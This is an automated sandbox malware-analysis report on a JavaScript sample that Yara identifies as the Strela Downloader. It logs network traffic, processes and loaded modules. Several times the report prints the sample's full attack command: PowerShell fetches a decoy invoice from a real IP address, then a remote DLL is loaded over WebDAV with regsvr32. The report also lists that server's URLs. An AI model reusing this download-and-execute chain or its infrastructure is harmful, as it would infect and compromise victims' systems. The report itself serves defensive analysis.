Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1411204697.000001F842FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1475933174.0000012982417000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482995187.0000012982417000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482995187.00000129823E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1475933174.0000012982417000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482995187.0000012982417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/j
Source: net.exe, 00000007.00000002.1482995187.000001298240D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1475933174.000001298240D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000007.00000003.1475933174.0000012982417000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482995187.0000012982417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/np
Source: net.exe, 00000007.00000003.1475933174.0000012982417000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482995187.0000012982417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/~
Source: svchost.exe, 00000009.00000002.2702171879.0000022847C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1476545499.0000022847A90000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7592, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 19663169782459227955.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dpjxu3fp.5vr.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 19663169782459227955.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19663169782459227955.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1624,i,14524519122257638584,7991782461495427163,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1624,i,14524519122257638584,7991782461495427163,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
